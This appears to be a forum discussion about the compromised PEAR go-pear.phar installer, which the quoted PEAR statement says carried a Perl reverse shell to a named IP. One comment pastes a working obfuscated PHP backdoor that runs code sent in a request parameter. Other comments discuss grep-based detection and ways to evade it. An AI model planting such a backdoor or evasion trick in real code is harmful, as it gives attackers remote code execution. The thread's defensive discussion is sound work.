> What we know: the tainted go-pear.phar file was reported to us on 1/18 by the Paranoids FIRE Team. The last release of this file was done 12/20, so the taint occurred after that. The taint was verified by us on 1/19.
> What we know: The taint was an embedded line designed to spawn a reverse shell via Perl to IP 104.131.154.154. This IP has been reported to its host in relation to the taint.
> What we know: no other breach was identified. The install-pear-nozlib.phar was ok. The go-pear.phar file at GitHub was ok, and could be used as a good md5sum comparison for any suspect copies.
> If you downloaded go-pear.phar before 12/20, we have no concrete evidence you received a tainted file... but it would be prudent to check your system if you used go-pear.phar to perform a PEAR installation in the last several months.
A good reminder to run your webserver with only the privileges it needs, including read/write permissions on the filesystem outside www and shell execution of commands on the system.
Also not a bad idea to have some kind of file compare against a "known good" folder of your site(s) to determine if any files have been modified or added, such as webshells.
Probably preaching to the choir here, but for those who are unaware, be sure that .git directories are not accessible by web clients. It will lead to source code disclosure, and if you've checked in any secrets, credential exposure as well.
That and if the webserver can write to .git it can also invisibly modify the history to ensure that you continue to check out the backdoored code no matter how far you go back.
The challenge for comparisons is doing it all offline and indistinguishable from user activity - I’ve seen cases where the attacker updated tripwire, rpm/deb sums, etc. or only presented the payload to a specific process, requesting IP not on the local network, etc. In this case I’d want something like a random process where a new EC2 instance does a install so you could make it a lot harder to cloak the attack because that’s also what many targets will do.
Not blindly pulling in dependencies from the internet?
"Blindly" is the problem here, not "pulling dependencies" or "internet".
Also, no, you won't get to a literally 0.0000...% chance of bad stuff getting in to your code, but some simple due diligence will slice several factors of magnitude off your probabilities; pick up another couple of factors if the community in general also tends to have people examining their dependencies. It gets to be pretty hard to sneak stuff in under those circumstances. It's been done, so we know it's not 0.0000...% likely, but it's less likely than the current state of the art in several language communities.
(And, also, yes, said language communities are working on it. I salute them for this effort, not condemn them for the existing problem.)
Hillel Wayne did a detailed in-depth analysis of the event-stream issue and it's really worth reading if you're interested in how to change this situation to be more robust:
Thankfully nobody is using PEAR anymore. Using composer doesn't solve the problem of blinedly pulling internet dependencies, though (as others pointed out).
What I currently do is grepping vendor for common smells like usage of eval() or obfuscations of the same thing after doing a composer update on a project.
How many thousands of people are in that “nobody”? The places which have legacy baked in are probably also the least equipped to avoid it, too.
Grepping has commonly been evaded since at least the late 90s. lowercased pointed out the use of request values already. Other techniques include encoding a string or byte array and decoding it into a file, pipe, etc. Static analysis can catch some things but it’s fundamentally the halting problem unless you can apply very restrictive sandbox policies — no file I/O, whitelist a few lines which can do certain operations, etc.
It's hard to find obfuscations of stuff. ran across this recently...
<?php
$z0=$_REQUEST[‘sort’];$q1=‘’;$c2=“wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2”;$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev(“noi”.“tcnuf”.“_eta”.“erc”);$j6=$v5(“”,$q1($z0));$j6();?>
There's no 'eval' or 'base64_decode' easy thing to grep for.
The problem with approaches like this is that they're prone to false positive/negatives. Take the example above — you could move more payload into the REQUEST variable (say a Cookie header), do more of the array of numbers so no individual token is that noteworthy, you could do something like toss that into a wrapper so someone sees something which looks like (and may actually be) an x509 cert or GPG public key with some misleading comment about that being used to verify updates, toss it into an image or other “fixture” in a test directory a la event-stream, etc.
This is a much harder problem than anything someone is going to come up with in an HN reply on first reaction. People have been working on it for decades but it's especially hard because once a technique becomes popular an attacker can run offline attacks against it and not release their exploit until they've confirmed that it's not detected.
Grep for multiple semicolons on a line. Or lines exceeding N characters. Or `$_` outside some specific places. Or multiple short variable names on the same line. Or "<?php[^$]".
Salt and flavour per your coding style and code base.
No, that's just an arms race, and it's advantage attacker since in security we generally assume the attacker has our source and executables. Plus it's ultimately an instance of the halting problem; there is no way to run code to determine if another piece of code is "good" for any sensible definition of "good". (See Rice's Theorem.)
You need to ensure bad stuff can't get in, not let stuff in and try to determine what's bad after the fact.
What aspect of information security is not inherently advantage attacker?
Regarding "ensure bad stuff can't get in", that is a completely different aspect. No matter how well you "ensure", bad stuff will always get it. Thus security is done in layers.
Only an installer on pear.php.net was compromised. I think a "proper" package would be built from the source code, bypassing that installer.
But a more ad hoc package, like from Arch's AUR, might just fetch that installer from pear.php.net instead. In fact, that's what the AUR package did - it just hardcodes the URL of the installer.
The AUR package was (probably) not compromised, but perhaps only because it happened to use the nozlib version of the installer instead of the version that was compromised.
The old PKGBUILD does have a hash, but I don't know if it was obtained from a trusted source. So I would guess that if it had used the compromised installer, and the installer was compromised after the PKGBUILD was updated to use that release, it would have alerted people that the installer had been replaced.
The new PKGBUILD uses the Github release and includes a PGP key.
I think that comic is about people who voluntarily stop maintaining/publishing something other people rely on, not about more general supply chain security.
I'm not doing PHP anymore, but never heard of PEAR, everybody seems to use Composer since quite a while. Seems like the transition happened in 2014-2015.
If a company does not invest in open source and uses it - it has to invest into open source to kee using it. Well at least it's under the security budget and doesn't look like a voluntarily paid tax anymore.
From Twitter (https://twitter.com/pear):
> What we know: the tainted go-pear.phar file was reported to us on 1/18 by the Paranoids FIRE Team. The last release of this file was done 12/20, so the taint occurred after that. The taint was verified by us on 1/19.
> What we know: The taint was an embedded line designed to spawn a reverse shell via Perl to IP 104.131.154.154. This IP has been reported to its host in relation to the taint.
> What we know: no other breach was identified. The install-pear-nozlib.phar was ok. The go-pear.phar file at GitHub was ok, and could be used as a good md5sum comparison for any suspect copies.
> If you downloaded go-pear.phar before 12/20, we have no concrete evidence you received a tainted file... but it would be prudent to check your system if you used go-pear.phar to perform a PEAR installation in the last several months.